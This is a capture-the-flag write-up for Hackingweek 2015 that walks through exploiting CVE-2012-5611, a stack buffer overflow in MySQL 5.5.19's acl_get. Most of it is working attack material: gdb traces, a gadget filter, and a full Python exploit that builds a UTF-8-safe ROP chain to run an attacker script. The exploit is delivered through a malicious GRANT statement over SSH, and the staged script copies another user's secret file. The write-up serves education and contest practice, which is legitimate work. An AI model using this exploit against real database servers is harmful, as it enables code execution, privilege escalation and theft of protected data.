Hackingweek 2015 — MySQL's CVE-2012-5611
Identification
It was not originally intended for the first (“exploit 4”), but it was possible to read the flag via LOAD DATA
(since the user had the FILE
privilege). So they added the “exploit 6” challenge, without this possibility. Six challenges instead of four :^)
First thing to do: get a clean debug environment. Copy all the files somewhere in /tmp/_____
, and edit the mysqld.cnf
file to change the path of the mysqld socket.
guest@ns314076:/tmp/foo$ gdb ./mysql-5.5.19-linux2.6-i686/bin/mysqld -q
Reading symbols from /tmp/foo/mysql-5.5.19-linux2.6-i686/bin/mysqld...done.
(gdb) r --defaults-file=./mysqld.cnf
Starting program: /tmp/foo/mysql-5.5.19-linux2.6-i686/bin/mysqld --defaults-file=./mysqld.cnf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
[New Thread 0xb7df1b70 (LWP 31351)]
[Thread 0xb7df1b70 (LWP 31351) exited]
[New Thread 0xb7df1b70 (LWP 31352)]
[New Thread 0xadfb0b70 (LWP 31353)]
[New Thread 0xad7afb70 (LWP 31354)]
[New Thread 0xacfaeb70 (LWP 31355)]
[...]
All right! We already know that a PoC exists for this version of MySQL (cheers kingcope!). I was behind an school firewall; I had no access to the port 3306. So I used the paramiko
python package to connect to the server via SSH and execute my SQL query from the command line (the code is at the end of this write-up).
Time to get more information about this PoC.
#0 0xb7f168fb in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
#1 0x0814b974 in acl_get (host=0x41414141 <Address 0x41414141 out of bounds>,
ip=0x41414141 <Address 0x41414141 out of bounds>,
user=0x41414141 <Address 0x41414141 out of bounds>,
db=0x41414141 <Address 0x41414141 out of bounds>,
db_is_pattern=1 '\001') at
/export/home/pb2/build/sb_0-4399296-1322061984.01/mysql-5.5.19/sql/sql_acl.cc:1599
[...]
And we have GitHub to diff easily: 5.5.19 and 5.5.29.
We spot this new line:
if (copy_length >= ACL_KEY_LENGTH)
Uh. It's now clear that the vulnerability is located here :
end=strmov((tmp_db=strmov(strmov(key, ip ? ip : "")+1,user)+1),db);
The buffer of size ACL_KEY_LENGTH
(98) is filled with the values key
, user
and db
. As we saw in the PoC, we control the value of db
and no check is made about the size of the final string before MySQL 5.5.29.
Exploitation
The ASLR is not enabled, but NX is. No stack cookie. Let's craft a nice ropchain! Since the SQL query is parsed by MySQL, any char in it have to be an UTF-8 valid one. The mysqld
binary is pretty large, so we can expect to find some gadgets with “good” addresses! I used ROPGadget and sorted the result with a small script, to get only addresses with the correct format. The two conditions are the following : every byte of the address have to be lower than 0x80
(U+0000 to U+007F) OR a valid multi-byte sequence.
I tried the easiest way, the first condition:
f = open('./gadgets.txt', 'r')
for line in f.readlines():
if line[0:2] == '0x'
and int(line[2:4], 16) < 0x80
and int(line[4:6], 16) < 0x80
and int(line[6:8], 16) < 0x80
and int(line[8:10], 16) < 0x80:
print line[:-1]
Got 14545 gadgets! The only write-what-where is with eax
, followed by a pop ebp
. By chance, there is a lot of xchg eax, *
gadgets that can be used this to control our registers. We'll have to increment eax
for the int 0x80
, since we can't have NULL
bytes in the string.
After some regexes, I selected the following gadgets:
pop_eax = 0x087e4b57
pop_ebx = 0x086d5039
xchg_eax_ecx = 0x086e136a
xchg_eax_edx = 0x084e3062
xchg_esi_eax = 0x087c3223
xchg_p_eax_esi = 0x08405331
int_0x80 = 0x08061234
data_addr = 0x09090909
To confirm that I did not missed something about the initial state of the memory, I tried the following ropchain:
[
_x(pop_eax),
_x("/tmp"),
_x(xchg_esi_eax),
_x(pop_eax),
_x(data_addr),
_x(xchg_p_eax_esi),
]
And I got the following state:
(gdb) i r
eax 0x9090909 151587081
ecx 0x3 3
edx 0x0 0
ebx 0x41414141 1094795585
esp 0xa9775098 0xa9775098
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x41414141 1094795585
eip 0x88c8f00 0x88c8f00
eflags 0x10286 [ PF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/4x 0x09090909
0x9090909: 0x41 0x41 0x41 0x41
Just prepare a script in /tmp/xxx
:
#!/bin/sh
cat /home/exploit06/.secret > /tmp/win
chmod 777 /tmp/win
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import sys
import struct
import os, socket
import paramiko
# HackingWeek 2015
# Exploit 4 / Exploit 6
# List our gadgets here
pop_eax = 0x087e4b57
pop_ebx = 0x086d5039
xchg_eax_ecx = 0x086e136a
xchg_eax_edx = 0x084e3062
xchg_esi_eax = 0x087c3223
xchg_p_eax_esi = 0x08405331
inc_eax = 0x08061234
syscall = 0x086d0d0e
ret = 0x08240d14
data_addr = 0x09090939
struct_addr = 0x09090941 + 2
# Simple macro to write addresses with the correct endianness
def _x(s):
return struct.pack('<I', s)
# Debian 7 target, with MySQL 5.5.19
class target_debian():
def generate(self):
ropchain = [
_x(ret),
_x(ret),
_x(ret),
# Write /tmp
_x(pop_eax),
"/tmp",
_x(xchg_esi_eax),
_x(pop_eax),
_x(data_addr),
_x(xchg_p_eax_esi),
# Write /xxx
_x(pop_eax),
"/xxx",
_x(xchg_esi_eax),
_x(pop_eax),
_x(data_addr + 4),
_x(xchg_p_eax_esi),
# Write the address of the string
_x(pop_eax),
_x(data_addr),
_x(xchg_esi_eax),
_x(pop_eax),
_x(struct_addr),
_x(xchg_p_eax_esi),
# ebx = @ "/tmp/xxx"
_x(pop_ebx),
_x(data_addr),
# ecx = @ {"/tmp/xxx", NULL}
_x(pop_eax),
_x(struct_addr),
_x(xchg_eax_ecx),
# edx = @ NULL
_x(pop_eax),
_x(struct_addr + 6),
_x(xchg_eax_edx),
# int 0x80 with eax = 11
# because of null byte :(
_x(inc_eax),
_x(inc_eax),
_x(inc_eax),
_x(inc_eax),
_x(inc_eax),
_x(inc_eax),
_x(inc_eax),
_x(inc_eax),
_x(inc_eax),
_x(inc_eax),
_x(inc_eax),
_x(syscall)
]
out = ''
out += "A" * (283 + 4)
out += _x(0x09090909)
out += "AAAA"
out += _x(0x09090909)
for i in ropchain:
out += i
return out
payload = target_debian().generate()
grant = "grant ALL on \`" + payload + "\`.* to 'guest'@'localhost' identified by 'p0wny';"
print grant
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('37.187.22.21', username='guest', password='[...]')
stdin, stdout, stderr = ssh.exec_command('echo "'+ grant +'" | mysql --user="guest" --password="guest" -S /var/run/mysqld/mysqld2.sock' )
print "stdout: " + ''.join(stdout.readlines())
print "stderr:" + ''.join(stderr.readlines())